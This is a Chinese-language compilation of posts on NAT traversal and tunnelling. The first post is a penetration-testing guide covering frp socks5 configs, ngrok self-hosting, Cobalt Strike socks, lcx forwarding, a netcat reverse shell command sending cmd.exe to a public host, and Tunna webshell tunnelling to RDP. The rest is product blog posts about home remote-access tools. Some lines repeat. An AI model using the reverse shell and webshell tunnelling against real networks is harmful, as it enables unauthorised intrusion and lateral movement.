0x01 说明
内网穿透,即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透。就是说映射端口,能让外网的电脑找到处于内网的电脑,提高下载速度。不管是内网穿透还是其他类型的网络穿透,都是网络穿透的统一方法来研究和解决。内网穿透分了N种,这里我们只介绍快速简单高效的穿透工具,并且简单说明下穿透工具的使用方法,给各位师傅可补充建议。
0x02 FRP穿透
说明
frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。
frp分客户端和服务端,服务器只开放端口让别人客户端连接进来并且提供穿透的协议.
frp分客户端和服务端,服务器只开放端口让别人客户端连接进来并且提供穿透的协议.
使用方法
frp分 frps和frpc,frps是服务端必须放在有公网的机器上frpc是客户端运行在被控制端上面。
frps.exe 对应的 配置文件是frps.ini
frpc.exe 对应的 配置文件是frpc.ini
具体参照官方解释说明:
[https://github.com/fatedier/frp/blob/master/README_zh.md
](https://github.com/fatedier/frp/blob/master/README_zh.md)
frps.exe 对应的 配置文件是frps.ini
frpc.exe 对应的 配置文件是frpc.ini
具体参照官方解释说明:
[https://github.com/fatedier/frp/blob/master/README_zh.md
](https://github.com/fatedier/frp/blob/master/README_zh.md)
转发socks5
一下是我的客户端配置文件,测试可用。
服务端配置:
服务端配置:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
bind_udp_port = 7001
token = mytokenpasswrod
max_pool_count = 50
# 一下是选择配置
# Dashboard通过浏览器查看 frp 的状态以及代理统计信息展示。
dashboard_addr = 0.0.0.0
dashboard_port = 7500
dashboard_user = Funk
dashboard_pwd = Funk123
#日志记录
#log_file = ./frps.log
#log_level = info
#log_max_days = 1
客户端配置:
[common]
server_addr = 你的服务端IP
server_port = 7000
tls_enable = true # true 开启 TLS 协议加密传输 启用此功能后除 xtcp 外,不需要再设置 use_encryption。
pool_count = 40
token = mytokenpasswrod
[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = allsec
plugin_passwd = mysockspassword
# use_encryption = true # 开启加密功能绕过防火墙
use_compression = true # 开启压塑功能 压缩算法使用 snappy
# Admin UI 可以帮助用户通过浏览器来查询和管理客户端的 proxy 状态和配置。
# admin_addr = 0.0.0.0
# admin_port = 7400
# admin_user = admin
# admin_pwd = admin
0x02 Ngrok 穿透
说明
ngrok目前支持自建的开源版本是1.x版,这个版本的话怎么说呢,除了有内存、文件描述符泄漏的蛋疼BUG外(作者是这么说的),其实还是能用的,作者自己又搞了个2.x版本,不过不开源而是在自己的ngrok.com上用,不过么……这个貌似在国内访问貌似有问题来着,所以么,要么用公开的ngrok服务器,要么就是自己搭。本次我们介绍的就是自己搭(1.x版)比较蛋疼,不过这有好处也有坏处,好处就是可用付费采用其他人的ngrok服务器,坏处就是搭建一次太费劲了,让你怀疑人生。。。。。。
安装配置
因为ngrok也是用Go写的,所以需要安装Go,这里是为了稳妥配置了环境变量,你也可以试试直接通过yum来安装,我懒得试了
yum groupinstall "Development tools" -y
wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz
tar xzf go1.8.3.linux-amd64.tar.gz -C /usr/local
mkdir /usr/local/gopackage
vi /etc/profile
#在profile中加入下面的环境变量,PATH如果原来就有请自行合并
GOROOT=/usr/local/go
GOPATH=/usr/local/gopackage
PATH=$PATH:$GOROOT/bin:$GOPATH/bin
export GOROOT GOPATH PATH
source /etc/profile
git clone https://github.com/inconshreveable/ngrok.git ngrok
cd ngrok
#然后我们生成下新的证书替换默认的,最后的cp选y来覆盖
NGROK_DOMAIN="ngrok.miku.one"
openssl genrsa -out base.key 2048
openssl req -new -x509 -nodes -key base.key -days 10000 -subj "/CN=$NGROK_DOMAIN" -out base.pem
openssl genrsa -out server.key 2048
openssl req -new -key server.key -subj "/CN=$NGROK_DOMAIN" -out server.csr
openssl x509 -req -in server.csr -CA base.pem -CAkey base.key -CAcreateserial -days 10000 -out server.crt
cp base.pem assets/client/tls/ngrokroot.crt
make release-server release-client
OK,如果没有报错的话你会在bin目录下看到服务端和客户端的可执行文件了,还有个go-bindata不知道有啥用,别管它了
./bin/ngrokd -tlsKey=server.key -tlsCrt=server.crt -domain="ngrok.miku.one" -httpAddr=":8081" -httpsAddr=":8082" -tunnelAddr=":4443"
这样就把服务端跑起来了
好了,之前生成了Linux下的客户端,很多情况下我们用的是Windows或者macOS,这就需要我们编译其它平台的客户端了
好了,之前生成了Linux下的客户端,很多情况下我们用的是Windows或者macOS,这就需要我们编译其它平台的客户端了
#编译Mac的客户端
GOOS=darwin GOARCH=amd64 make release-client
#编译Windows的客户端
GOOS=windows GOARCH=amd64 make release-client
在bin下会多出文件夹,里面就是你的客户端了,这样我们就能继续了
这俩是ngrok的客户端,一个是c写的,一个是Python写的,适用于特定环境(比如路由器这种存储空间很小,尽量节省资源啥的)
https://github.com/dosgo/ngrok-c
https://github.com/hauntek/python-ngrok
总体来说做渗透测试不推荐使用。。等你吧服务都装完了别人都日完了。。。。
https://github.com/dosgo/ngrok-c
https://github.com/hauntek/python-ngrok
总体来说做渗透测试不推荐使用。。等你吧服务都装完了别人都日完了。。。。
0x03 Cobalt Strike
CobaltStrike是一款快速内网横向移动的工具,当然也提供内网穿透的效果。
也是非常简单一条命令开启。可惜是SOCKS4代理。
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server
也是非常简单一条命令开启。可惜是SOCKS4代理。
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server
0x04 杂项各种穿透
摘取网上的!
LCX
lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap,
lcx有两大功能:
1)端口转发(listen和slave成对使用)
2)端口映射(tran)
内网端口转发:
服务端:
客户端:
服务端:
lcx.exe –listen 4444 5555客户端:
lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389nc 反弹
nc使用方法:

反向连接
在公网主机上进行监听:
服务器端:
客户端:
反向连接
在公网主机上进行监听:
服务器端:
nc -lvp 4444客户端:
nc -t -e cmd.exe 公网主机ip 4444reGeorg
使用方法(详见github):
Tunna
使用方法:
options:
python proxy.py -u -l [options] options:
--help, -h 显示此帮助信息并退出
--url=URL, -u URL 为远程webshell的URL
--lport=LOCAL_PORT, -l LOCAL_PORT代表本地侦听端口
--verbose, -v 详细(输出数据包大小)
--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)
No SOCKS Options:
如果使用SOCKS代理,选项将被忽略
如果使用SOCKS代理,选项将被忽略
--no-socks, -n 不使用 Socks 代理
--rport=REMOTE_PORT, -r REMOTE_PORT远程服务端口,供webshell连接
--addr=REMOTE_IP, -a REMOTE_IP 远程webshell连接到的地址(默认为 127.0.0.1)
上游代理选项:
通过本地代理进行隧道连接
通过本地代理进行隧道连接
--up-proxy=UPPROXY, -x UPPROXY上游代理(http://proxyserver.com:3128)
--auth, -A 上游代理需要认证
高级选项:
--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging线程间隔(默认值为0.5)
--start-ping, -s 首先启动ping线程 - 一些服务首先发送数据(例如,SSH)
--cookie, -C 请求cookies
--authentication, -t 基本认证
使用方法示例:
内网主机为Windows:
内网主机为Windows:
python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v0x05 总结
目前内网渗透中一般都会用到端口转发与代理,本文也只是列出了一些常见的工具,还有很多其他工具没有涉及到,希望能给大家带来一些帮助,一般推荐frp穿透和cs穿透,不过cs穿透无法加密,可能会被某些防火墙识别流量,使用Tunna的话又不稳定,一般是只有shell的环境或者是权限比较极端的时候才会选用,不过Tunna也有弊端。
参考链接:
https://www.freebuf.com/articles/web/170970.html
https://github.com/sensepost/reGeorg
https://github.com/SECFORCE/Tunna
https://github.com/inconshreveable/ngrok/releases
https://github.com/fatedier/frp
----------------------------
公网IP vs 内网穿透
研发「御花园」的最初目的是因为家里添置了一台Windows Server,当做NAS使用,需要RDP远程控制,带宽要求较高,折腾过各种开源的方案,均不太理想,主要有以下方案。
Ngork( https://ngrok.com/ ):官方中转服务器在国外,慢就不说了,国内很多收费的节点,服务能力各有千秋。其早期版本已经开源出来,可以自己搭建,采用Go语言编写,端口配置依赖客户端配置,仅有简单的权限控制,长期使用并不太方便,也不太安全。
FRP( https://github.com/fatedier/frp ):和Ngork类似,也是需要服务器中转,提供的配置更为丰富,不过官方一直声明不建议用在生产环境,便没有过多的研究,支持Unix 套接字和DNS转发,实验性的点对点内网穿透,甚至还能搭建成一个https服务来转发非https流量,也算是一大特色。
ZeroTier( https://www.zerotier.com/ ):和上述基于传输层协议不同,这个是工作在二层协议,可以提供多个设备组建虚拟局域网进行互通,大部分配置在官网后台操作,设备上只需要安装一个客户端,Join一个网络,激活即可,相当方便。可以自建卫星节点来加速。虚拟LAN兼容性较好,但网络不理想的情况下,上层不容易感知。
花生壳( https://hsk.oray.com/ ):作为Oray旗下的老牌服务,从最初的DDNS转型到内网穿透,可以说是很顽强了,免费用户有1M的带宽,一个端口可用。他们家的Windows客户端还是做的比较稳定。
工慾善其事,必先利其器,综上所述,一个工具好用,清晰便捷的图形化操作必不可少,客户端则尽可能的透明,稳定。出于职业特性,对于TCP传输层的操作,Java Netty性能毋庸置疑,且任何需求只要有一个人需要,就有成千上万人需要。「御花园」便孕育而生( https://ifport.com/ ),参考了众多的开源实现,封装了一个私有IPF报文,SSL加密数据,同时写了一个管理后台,方便的自行注册/添加/删除接入设备和端口映射,端口随机自动分配,客户端实时刷新生效,完全无须人工介入。在19款macbook pro上部署,采用iperf3测试local转发能力在1.6Gb/s 左右,受制cpu/内存限制,成绩应该还能更高。
公网IP之争,在19年下半年开始,国家大力推广IPv6,似乎IPv4也没那么紧缺,运营商打打电话,工信部走一波,基本也能得到,还是v4,v6双公网(顺便升级了博客v6支持),路由器绑定DDNS,远程控制更加便捷,内网穿透似乎没有必要了。
随着生活的变迁,环境的变化,常在租住地,咖啡馆WiFi,新家4G之间的来回切换,公网IP并非万能,抗网络波动更是重要,众所周知的原因,运营商PPPoE存在强制断线的坑,DDNS生效有一定的延迟。「御花园」又有了用武之地 ,同一个端口,穿越任意网络,短周期心跳检测、重连,抗网络波动极为灵活,客户端几乎无感知,不得不说还是自研的用着顺手,但迫于带宽和成本压力,也没计划推广。
「御花园」和「即刻大陆」并非什么高深的技术,不过是在这个特定时期能让你看的更远。
------------------------------------
ngrok 微信接口开发利器
1. ngrok下载运行
体积很小,官网下载后直接解压得到一个二进制文件,在shell中执行./ngrok 80即可,默认会分配随机的二级域名来访问,转发到本机的80端口。可以通过-help参数来查看详细的说明,运行后如下提示:
Tunnel Status onlineVersion 1.6/1.5Forwarding http://steven-mbp.ngrok.com -> 127.0.0.1:8080Forwarding https://steven-mbp.ngrok.com -> 127.0.0.1:8080Web Interface 127.0.0.1:4040# Conn 16Avg Conn Time 558ms |
2. ngrok常用示例1. 采用自定义二级域名steven-mbp.ngrok.com转发到本机的8080端口。
./ngrok -subdomain steven-mbp 8080 |
./ngrok -proto=tcp 22 |
./ngrok 192.168.0.1:80 |
./ngrok -hostname test.mydomain.com 8080 |
ngrok可以将参数写到文件中,默认是放在~/.ngrok。例如:
tunnels: client: auth: "user:password" proto: https: 8080 ssh: proto: tcp: 22 test.mydomain.com proto: http: 9090 |
每一个隧道的配置节点都有五个参数,proto,subdomain,auth,hostname和remote_port,每个隧道必须有proto参数来指定本地地址和端口。auth参数用于在http(s)中身份认证,而remote_port用于在tcp隧道中指定远程服务器端口。如果没有配置subdomain参数,ngrok会默认一个二级域名与隧道节点一样的名字。
4. 配置文件中的其他参数
authtoken: abc123inspect_addr: "0.0.0.0:8888"tunnels: ... |
官网:https://ngrok.com/
介于ngrok的局限性和高度依赖,我用Java重新写了一个转发项目:御花园(https://ifport.com/),欢迎注册使用,目前免费提供,后续资源不足会考虑收费方案。